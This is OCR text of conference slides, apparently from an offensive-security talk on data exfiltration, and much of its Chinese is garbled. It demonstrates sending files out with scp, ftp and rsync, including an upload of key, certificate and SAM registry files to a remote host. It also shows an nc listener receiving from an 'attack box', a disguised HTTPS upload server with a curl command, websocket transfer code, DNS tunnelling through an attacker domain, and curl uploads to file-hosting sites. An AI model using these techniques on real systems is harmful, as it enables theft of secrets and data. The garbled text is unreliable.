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\scp. ftpAH I

& 5

scp Hellol Hello2 Hello3 tuts@192.168.83.132:/home/tuts/!

Q

tuts@phinix:
2:/home/tuts/FOSSLINUX
Executing: program /usr/bin/ssh host 192.168.83.132,
d -t /home/tuts/FOSSLINUX

OpenSSH_7.9p1 Ubuntu-10, OpenSSL 1.1.1b 26 Feb 2019
: Reading configuration data /etc/ssh/ssh_config

: Jetc/ssh/ssh_config line 19: Applying options for *

tuts@phinix: /home/tuts/FOSSLINUX M = 25

o @

S scp -v Hellol Hello2 Hello3 tuts@192.168.83.13

user tuts, command scp -v -

debugl: Connecting to 192.168.83.132 [192.168.83.132] port 22.
debugl: Connection established.

debugl: identity file /home/tuts/.ssh/id rsa type -1

debugl: identity file /home/tuts/.ssh/id_rsa-cert type -1
debugl: identity file /home/tuts/.ssh/id_dsa type -1

debugl: identity file /home/tuts/.ssh/id_dsa-cert type -1
debugl: identity file /home/tuts/.ssh/id_ecdsa type -1
debugl: identity file /home/tuts/.ssh/id _ecdsa-cert type -1
debugl: identity file /home/tuts/.ssh/id_ed25519 type -1
debugl: identity file /home/tuts/.ssh/id_ed25519-cert type -1
debugl: identity file /home/tuts/.ssh/id_xmss type -1

debugl: identity file /home/tuts/.ssh/id_xmss-cert type -1

: Local version string SSH-2.0-OpenSSH_7.9p1 Ubuntu-10
: Remote protocol version 2.0, remote software version OpenSSH_7.6p1 Ubunt
u-4ubuntu6.3

EHAR/\RH]: 27°63Byte,

(2740Byte=1T)

Password:

(Z 4

walid@Client:~$

|Ftp walid@192.168.0.164
Connected to 192. 19 -

220 (vsFTPd 3.0.5)

331 Please specify the password.
-€
230 Login successful.
Remote system type is UNIX.

Usin?_h;naxx_mgdg_tgltransFer files.
ftp>|put local_file

local: local_file remote: local_file
229 Entering Extended Passive Mode (||

45785|)

150 Ok to send data.

0 |©.00 KiB/s
226 Transfer complete.
Ftp>-l

ZZEZ58: https://github.com/openssh/openssh—portable/blob/master/scp.c
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\rsync i

/nciEia

b v 1s -1 ~/secret.txt
.rw-r--r-- drenfermo drenfermo 15 B Wed Aug 2 15:37:26 2023 B /home/drenfermo/secret.txt

@EBEEEY - s -1R ~/uploads
drwxr-xr-x drenfermo drenfermo 4.0 KB Wed Sep 27 19:47:45 2023 (=server-root
.rw-r--r-- drenfermo drenfermo 1.1 KB Wed Sep 27 16:22:38 2023 [client.crt

SIW======= drenfermo drenfermo 2.7 KB Wed Sep 27 16:22:27 2023 e~client.pem
.rw------- drenfermo drenfermo 2.5 KB Wed Sep 27 18:18:55 2023 [client.pfx
.rw-r--r-- drenfermo drenfermo @ B Wed Sep 27 19:45:40 2023 [ SAM.reg

SPW=——— == drenfermo drenfermo 2.7 KB Wed Sep 27 16:22:18 2023 e-server.pem

/home/drenfermo/uploads/server-root:
.rw-r--r-- drenfermo drenfermo 915 B Wed Sep 27 19:47:45 2023 [) secrets.zip

v rsync -e ssh -ravzh /home/drenfermo/uploads test@192.168.31.134:/home/test/
test@192.168.31.134"s password:
sending incremental file list
uploads/
uploads/SAM.reg
uploads/client.crt e
uploads/client.pem B
uploads/client.pfx —
uploads/server.pem s
uploads/server-root/
uploads/server-root/secrets.zip

sent 7,37K bytes received 142 bytes 1,67K bytes/sec
total size is 10,16K speedup is 1,35

)~ JEBD rsync -e ssh -avhz /home/drenfermo/secret.txt test@192.168.31.134:/home/test/clue.txt
test@192.168.31.134's password:
sending incremental file list
secret. txt

e

sent 138 bytes received 35 bytes 49,43 bytes/sec
total size is 15 speedup is 0,09

rsynci S Y "-e ssh -ravzh" 244:

1. -essh
» - BRI TIEERERKLEshell
= ssh RREMSSHIMGATIRIZEZHILURER
» XfE{Srsyncr] LUEE SSHIR B R ML HEIE
2. -r (recursive)
= BEAEH, 8EMEFERAH
3. -a(archive)
» E1EE, HHYF-riptgoDMEE
» REJLVFREXGREE, SENR, WEE, TSRS
4. -v (verbose)
» HAERN, ERESNREER
5. -z (compress)
» EEREETERXEE
6. -h (human-readable)

» DAZFEMBREET (0XEx)
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\scp. ftp. rsyncAHT

L AT EE J

b5 h) scp ftp rsync
e & (BETSSH, hn#Em) L (BUARIN®E, BAXfEEm) JEkE (TEISSHEGE )

BAERFYE & |(mmﬂnﬁmn} & (BEFESA mA) & (TJ{fERSSHI%O)

ERAEF M . BEMAEHE XEHLE IFHEARE GOTEK SHIKE
TESERSARE 00 BEEmERRRE 00

feRtEaE A I FF$H) Bk (HAEREMNT) Eiﬁﬁ Copilb= 8ig )
huERe 0 o=mE 0 ®x

B¥E X FTEATUnxERGE JVFRB ¥ REXS [TRXHF
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\NcT BRF| A

AEAT:
(nc) EA=,: TCP, UDP
Ewmim O B0 (80, 443, 22%) . dEEMIHO

Search Terminal Help

:~# nc -lvp 8080 > /root/Desktop/transfer.txt }gui“ﬁ'ﬁﬁ/?\\
Listening on [any] 8080 ...
192.168.100.113: inverse host lookup failed: Unknown host
connect to [192.168.160.1087] from (UNKNOWN) [192.168.100.113] 38264
a

~# cat /root/Desktop/transfer.txt |
This file will be transfers from attack box 192.168.100.113 to the target host 192.168.100.107

root@attacker: ~

Terminal Help

TCP+3EE#8080ix M



. IAEIR

\https/ 10 & {E 5
L N N
Ll
[ TTPS{EH ] HTTPS$=1K Ui
M 1. s rmE
base64. os, re, shutil, urllib. http.server. ss1&

W 2. BEXHTTPIEREES

class CustomBaseHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
server_version = "Microsoft-HTTPAPI/2.0"

@‘ B 3. TmiATEE
B 4. 4P, NI EHRTES

@" W 5. EahttpsBEE, A3EOBIREE, REMAPSNES
$ python custom_https_server.py 443 admin:passwordl23 server.pem

HTTPS & %%

curl (-k) —u admin:password123 -X POST -F
[] "'file=@/path/to/local/file"
https://server_ip:443/

A& fERim O E443. IFEMin



L

KCon

02

m-mAIRE (E3F)

OFFENSIVE CHAPTER

e



U=

PBhirig &g MERHIN-websocket

HTTP Connection

- Request

_—
Response
Client Connection Terminated

WebSocket Connection

Request

- #
Hand Shake
Web Socket

ENE: REZRMB. WEpEE, <FHFmE (WSS)

iSEA
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i

2 Wi

import asyncio
import websockets

async def serve(websocket, path):

# FEEPIR&AIEXSF

async for message in websocket:
# BXHFREBEN—TXMH
with open('received_file', 'wb') as f:

f.write(message)

# HiFEFP iR HEESTR
await websocket.send('File received.')

start_server = websockets.serve(serve, '0.0.0.0', 10004)

asyncio.get_event_loop().run_until_complete(start_server)
asyncio.get_event_loop().run_forever()

(RS RKERME. Na@fs, HmE (WSS)

R

import asyncio
import websockets

async def send_file():
async with websockets.connect('ws://192.168.2.1:10004') as websocket:
# ERXHARST
with open('file_to_send', 'rb') as f:
file_content = f.read()
# RENXHAS
await websocket.send(file_content)
# FEHRSBHBREHFEBRENER
response = await websocket.recv()

asyncio.get_event_loop().run_until_complete(send_file())
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BhiFiR &R BENS N - IPv6

rootCg :~# 1fconfig -a .
ethe: fLags:4163<UP,BRogDCAST RUNNING,MULTICAST> mtu 1500 IPv4 vs. IPv6 (Worldwide)
inet 192.168.0.159 netmask 255.255.255.0 broadcast 192.168.0.255 TR off ;
inet6 fe80::f816:3eff:fec5:1dbc prefixlen 64 scopeid 0x20<link=> Distribution of traffic by IP version
ether ta:lb:3e:c5:1d:bc txqueuelen 1000 (Ethernet) - |Pv4 IPV6
RX packets 3460503910 bytes 1506958443178 (1.5 TB) 641% 35.9%
RX errors @ dropped 6 overruns 6 frame @ _—
TX packets 3665807882 bytes 1647193282036 (1.6 TB)
TX errors © dropped 0 overruns @ carrier 0 collisions O

lo: flags=73<UP,LO0PBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0xlO<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 16308388 bytes 7320673959 (7.3 GB)

RX errors @ dropped © overruns @ frame ©
TX packets 16308388 bytes 7320673959 (7.3 GB) e ‘ _
TX errors @ dropped @ overruns @ carrier © collisions © SRR S AR
root@ ~# Cloudflare Radar Aug 12023 00:00 UTC - Oct 31 2023 00:00 UTC

FHIPveiit DNSxk&EZEIKIPVE S EETE)
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130000 0000000000000000000.aN-huunt-1od C=1alslo ku i eT0]|l!
300000 000000000000000000-Emu-1o1 -1l als Ly ols] )

1500000 000000000000000000-Rukat-1od ¢=1alale iy o]

Attacker registers a
domain (exfiltration.com)

Attacker sets exfiltration.com
NS to a server they own

===

Compromised Authoritative DNS
machine server for exfiltration.com
L

Initial setup

12}
=z
(=)
e
[
>
o
)
=]
<
®
£
3]
x
[
]
S
@
(=)

Data exchange

Malware sends a password as
a subdomain to exfiltration.com

The request with the password Attacker gets
is routed to attacker’s server the password
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BifFigg&isBEN AR -dnsEiflin A

130000 0000000000000000000.aN-huunt-1od C=1alslo ku i eT0]|l!
300000 000000000000000000-Emu-1o1 -1l als Ly ols] )

1500000 000000000000000000-Rukat-1od ¢=1alale iy o]

Attacker registers a
domain (exfiltration.com)

Attacker sets exfiltration.com
NS to a server they own

k=

IEFid: 4102019XXXXXXXXXX
El:lg 15 5

[— 1 XXXXX

Compromised Authoritative DNS
machine server for exfiltration.com

Initial setup

12}
=z
(=)
e
[
>
o
)
=]
<
®
£
3]
x
o
]
S
@
(=)

Data exchange

Malware sends a password as
a subdomain to exfiltration.com

The request with the password Attacker gets
is routed to attacker’s server the password
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To exfiltrate data using this DNS tunneling protocol, the payload will add additional subdomains to query, specifically a field for
the data sequence number and a field for the exfiltrated data. For instance, the following DNS query sends system information to

d

RC4 Key (4 Bytes)

J' Recursive DNS Authoritative DNS Malware operator
5 for de0. . o i . s
RC4 Encrypted data erver serverforachce The fifth-level subdomain is a data sequence number that allows the C2 server to reassemble the data, which will start with 1

(RIS Stedential] and increment by 60 as the DNS tunneling protocol sends 60-bytes of encoded ciphertext within each DNS request. The fourth-

l level subdomain contains the 60-bytes of encoded ciphertext that RDAT sends to the C2, while the third- and second-level
| subdomains are the same as the beacon. In the above example, the AES key and IV would be . which

would decrypt the third-level subdomain to the following cleartext:

Hexadecimal
encoded data

RCAEENE . 4mh5 HOpensshig| -1 A543 & dns 3 BN IR
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Cloud Storage -
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R2 SUPPORT
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¢. ) RCLONE [ty

IR

About

“rsync for cloud storage" - Google Drive,
S3, Dropbox, Backblaze B2, One Drive,
Swift, Hubic, Wasabi, Google Cloud
Storage, Azure Blob, Azure Files, Yandex
Files

Basic syntax

Hclone syncs a directory tree from one storage system to another.

Its syntax is like this

rclone subcommand [options] <parameters> <parameters...=

I TRA-|

Akamai Netstorage

Alibaba Cloud (Aliyun) Object Storage System (0SS)
Amazon S3

Backblaze B2

Box

Ceph

China Mobile Ecloud Elastic Object Storage (EOQS)
Arvan Cloud Object Storage (AOS)
Citrix ShareFile

Cloudflare R2

DigitalOcean Spaces

Digi Storage

Dreamhost

Dropbox

Enterprise File Fabric

Fastmail Files

FTP

Google Cloud Storage

Google Drive

Google Photos

HDFS

Hetzner Storage Box

HiDrive

HTTP

ImagekKit

Internet Archive

XHE/I-P

Jottacloud

IBM COS 53

IDrive e2

IONOS Cloud

Koofr

Leviia Object Storage
Liara Object Storage
Linkbox

Linode Object Storage
Magalu

Mail.ru Cloud

Memset Memstore

Mega

Memory

Microsoft Azure Blob Storage
Microsoft Azure Files Storage
Microsoft OneDrive

Minio

Nextcloud

OVH

Blomp Cloud Storage
OpenDrive

OpenStack Swift

Oracle Cloud Storage Swift
Oracle Object Storage
ownCloud

pCloud
Petabox

*H=M/P-Z

PikPak

premiumize.me

put.io

Proton Drive

QingStor

Qiniu Cloud Object Storage (Kodo)
Quatrix by Maytech
Rackspace Cloud Files
rsync.net

Scaleway

Seafile

Seagate Lyve Cloud
SeaweedFS

SFTP

Sia

SMB / CIFS

StackPath

Storj

Synology

SugarSync

Tencent Cloud Object Storage (COS)

Uloz.to
Uptobox
Wasabi
WebDAV
Yandex Disk
Zoho WorkDrive




: 7tb7J<T%@
HREESA-EBERANARES

ram DOX

Cotbox

Using a Local Bot APl Server

Uploads up to 200 MB are allowed. You should read the FAQ.

ile_path field without the need to download the file afte

Select or drop files

curl -F "reqtype=fileupload" -F "userhash=####" -F "fileToUpload=@root/bigdata"
https://catbox.moe/user/api.php
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free file upload site

Q Wni BA

Free File Upload Service

EFHRANPXER, Bad TR

their free hosting account you can store up to 500.0GB worth of files. You can also upload files wi
th a Maximum file size 1024Mb. They allow you to upload multipl...

www.freefileupload.net/

10 Free File Sharing_Sites For Rapid Remote Collaborat...
ERLMANPXER, BRE #FLLn
1. Filestage — best free file sharing site for content revie

ws Filestageis an online proofing and collaboration tool that allows team
s to remotely collaborate on proje...

filestage.io/blog/file-shari

File upload | Free File Hosting
EERLMARNPEE, BRE #FLn

Check our last news on https://www.file-upload.com?op=news You can sell your files now check t

he method in https://www.file-upload.com/make-money.html> Check ou...

www.file-upload.com/resell...html

FileLu - Free File Upload And Secure File Storage Plat...
We support a wide range of versatile and easy-to-use upload tools. You can effortlessly upload fr
om any device, including macOS, Windows, Linux CLI, mobile phones...

filelu.com/

File Hosting - Free File Upload & Unlimited storage —...
Free file storage & free file sharing platform. Upload Zip, RAR, TXT, JPG, PDF,MP4, MP3 and mo
re files upload without registration at - 9zipy.com

9zipy.com/
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[ec2-user@ip-] ~1$ this_is_a_command?C
[ec2-user@ip-] ~1$ curl -h

Usage: curl [options...] <url>

-d, --data <data> HTTP POST data

=fi,» =il Fail silently (no output at all) on HTTP errors
-h, --help <category> Get help for commands

=i, ——7include Include protocol response headers in the output
-0, —-output <file> Write to file instead of stdout

-0, --remote-name Write output to a file named as the remote file
Ssieessailtent Silent mode

-T, —-upload-file <file> Transfer local FILE to destination

-u, —-user <user:password> Server user and password

-A, —-user-agent <name> Send User-Agent <name> to server

-v, --verbose Make the operation more talkative

-V, —-version Show version number and quit

This is not the full help, this menu is stripped into categories.
Use "--help category" to get an overview of all categories.
For all options use the manual or "--help all".

— I

#!/bin/bash

data_exfiltration() {
echo 'X@— 1T HIEZERIRIA

data_exfiltration

C2

C2TH

KCon

FRAMEWORK
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plit archived [tration files in ; aller than 1MB.[
APTA41 tre viding the payload into fixed-size chunks to evade det.
During imite: 's bandwidth setting during exfilts
ntaining and information into 3MB parts prior filtration. ™!

ge is larger than 4096

xfiltration.

1 has split archived files into multiple parts to bypass a SMB limit.!"”
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n break large files of i st into smaller chunks to prepare them for exfiltration
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7000 tcp
8000 tcp
9000 tcp

[’ / 22 SSH
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Messaeg bits by b,,....b,

101
on
Determine binary delays

(" Short-inter arrival time | [ Long-inter arrival time ) &
is mappedto 0 is mappedto 1

Packet arrivals=5

ZZEZ548: ( Covert Timing Channel Analysis Either as Cyber Attacks or Confidential Applications)
https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7219501/
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